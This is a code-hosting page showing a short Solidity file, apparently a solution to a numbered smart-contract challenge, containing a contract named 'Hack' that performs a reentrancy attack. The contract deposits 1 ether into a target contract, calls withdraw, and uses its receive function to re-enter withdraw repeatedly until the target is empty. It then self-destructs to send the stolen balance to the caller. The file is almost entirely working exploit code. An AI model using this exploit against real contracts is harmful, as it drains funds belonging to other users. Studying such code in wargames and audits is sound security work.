-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy path10-reentrancy.sol
34 lines (27 loc) · 913 Bytes
/
10-reentrancy.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
//SPDX-License-Identifier: MIT
pragma solidity^0.8.13;
interface IReentrancy {
function donate(address) external payable;
function withdraw(uint256) external;
}
contract Hack{
IReentrancy private immutable contractAddress;
constructor(address _contractAddress){
contractAddress = IReentrancy(_contractAddress);
}
function attack() external payable {
contractAddress.donate{value: 1e18}(address(this));
contractAddress.withdraw(1e18);
require(address(contractAddress).balance == 0, "target balance > 0");
selfdestruct(payable(msg.sender));
}
receive() external payable {
uint256 amount = min(1e18, address(contractAddress).balance);
if(amount > 0){
contractAddress.withdraw(amount);
}
}
function min(uint256 x, uint256 y) private pure returns(uint256){
return x <= y ? x : y;
}
}